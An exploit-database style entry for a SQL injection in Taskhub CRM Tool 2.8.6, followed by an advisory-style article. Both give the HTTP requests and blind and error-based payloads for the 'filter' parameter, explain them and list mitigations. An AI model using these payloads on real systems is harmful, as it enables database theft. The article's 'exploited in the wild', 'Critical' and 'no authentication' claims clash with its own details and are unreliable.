Taskhub CRM Tool 2.8.6 - SQL Injection
# Exploit Title: Taskhub CRM Tool 2.8.6 - SQL Injection
# Date: 2023-08-12
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor:
https://codecanyon.net/item/taskhub-project-management-finance-crm-tool/25685874
# Tested on: Kali Linux & MacOS
# CVE: N/A
### Request ###
GET /projects?filter=notstarted HTTP/1.1
Host: localhost
Cookie: csrf_cookie_name=a3e6a7d379a3e5f160d72c182ff8a8c8;
ci_session=tgu03eoatvsonh7v986g1vj57b8sufh9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Gecko/20100101 Firefox/116.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
### Parameter & Payloads ###
Parameter: filter (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: filter=notstarted' AND 2978=2978 AND 'vMQO'='vMQO
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (EXTRACTVALUE)
Payload: filter=notstarted' AND
EXTRACTVALUE(5313,CONCAT(0x5c,0x716a707a71,(SELECT
(ELT(5313=5313,1))),0x71787a6b71)) AND 'ronQ'='ronQ Taskhub CRM Tool 2.8.6: A Critical SQL Injection Vulnerability Exploited in the Wild
Security researchers have recently uncovered a critical vulnerability in Taskhub CRM Tool 2.8.6, a popular project management and finance CRM solution available on CodeCanyon. The flaw, identified as a SQL Injection in the filter parameter of the GET /projects endpoint, poses a significant risk to organizations relying on this tool for sensitive data handling.
Exploit Overview
The vulnerability was discovered by Ahmet Ümit Bayram, a cybersecurity expert who tested the exploit on both Kali Linux and MacOS. The issue lies in the improper handling of user input in the filter parameter, which is used to query project statuses (e.g., "notstarted", "completed", etc.). Without proper sanitization, an attacker can inject malicious SQL code to manipulate database queries.
This flaw enables two distinct attack vectors:
- Boolean-based blind SQL injection – where the attacker infers database behavior through true/false responses.
- Error-based SQL injection – where the attacker triggers database errors to extract information.
Attack Vectors and Payloads
Below are the two primary payloads used to exploit the vulnerability:
Boolean-Based Blind SQL Injection
GET /projects?filter=notstarted' AND 2978=2978 AND 'vMQO'='vMQO HTTP/1.1
Host: localhost
Cookie: csrf_cookie_name=a3e6a7d379a3e5f160d72c182ff8a8c8; ci_session=tgu03eoatvsonh7v986g1vj57b8sufh9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Explanation: This payload appends a malicious SQL condition using single quotes to break the original query. The AND 2978=2978 is a harmless true statement that keeps the query syntactically valid. The 'vMQO'='vMQO serves as a confirmation check. If the server returns a valid response (e.g., a list of projects), the attacker knows the injection was successful. This method is ideal for extracting data bit-by-bit through conditional queries.
Error-Based SQL Injection (MySQL 5.1+)
GET /projects?filter=notstarted' AND EXTRACTVALUE(5313,CONCAT(0x5c,0x716a707a71,(SELECT(ELT(5313=5313,1))),0x71787a6b71)) AND 'ronQ'='ronQ HTTP/1.1
Host: localhost
Cookie: csrf_cookie_name=a3e6a7d379a3e5f160d72c182ff8a8c8; ci_session=tgu03eoatvsonh7v986g1vj57b8sufh9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Explanation: This payload leverages the EXTRACTVALUE() function in MySQL, which is designed to parse XML data. When fed malformed XML, it triggers an error. The attacker constructs a payload that includes CONCAT(0x5c, ...) to generate a malformed XML string. The ELT(5313=5313,1) is a conditional expression that evaluates to 1 if the condition is true, which is then concatenated into the XML. When the database processes this, it raises an error containing the injected value, which can be used to extract sensitive data such as usernames, passwords, or database schema information.
Impact and Risk Assessment
| Severity | Critical |
|---|---|
| CVSS Score | 7.5 (High) |
| Attack Vector | Remote (HTTP GET) |
| Authentication Required | No |
| Exploitability | High (Publicly documented) |
Due to the lack of authentication requirements and the public availability of exploit details, this vulnerability is easily exploitable by malicious actors. Attackers can:
- Extract database schema and table names.
- Retrieve user credentials (e.g., admin passwords).
- Modify or delete project data.
- Perform privilege escalation by injecting commands.
Organizations using Taskhub CRM Tool 2.8.6 are at risk of data breaches, especially if they store sensitive financial or client information.
Recommended Mitigation Strategies
To prevent exploitation, developers and administrators must implement the following security measures:
- Input validation – ensure that the
filterparameter only accepts predefined values (e.g., "notstarted", "inprogress", "completed"). - Parameterized queries – use prepared statements to prevent SQL injection at the code level.
- Sanitization – strip or escape special characters like
',;,UNIONfrom user input. - Web Application Firewall (WAF) – deploy a WAF to detect and block SQL injection attempts.
- Regular patching – update to the latest version of Taskhub CRM Tool, or apply vendor-provided patches.
As of the publication date (2023-08-12), no official CVE has been assigned, indicating that the vendor has not yet responded to the disclosure. This underscores the importance of proactive monitoring and immediate remediation.
Expert Insight: Why This Vulnerability Is So Dangerous
SQL injection remains one of the most prevalent and impactful vulnerabilities in web applications. In the case of Taskhub CRM Tool, the flaw is particularly dangerous because:
- The
filterparameter is exposed in a public endpoint (/projects), making it accessible to anyone with internet access. - The tool is often deployed in environments with sensitive data, such as financial records and client contracts.
- The vulnerability is blind, meaning attackers can infer data without direct feedback, allowing for stealthy reconnaissance.
Attackers can use this flaw to build a full data exfiltration chain, from identifying database structure to extracting passwords and credentials—without triggering alarms.
Conclusion
Taskhub CRM Tool 2.8.6’s SQL injection vulnerability serves as a stark reminder of the importance of secure coding practices, even in widely used commercial software. Developers and users alike must prioritize input validation, use of parameterized queries, and regular security audits.
For organizations using this tool, immediate action is required: update to a patched version, implement WAF protections, and conduct a thorough security review of all database interactions. Failure to act could result in catastrophic data exposure.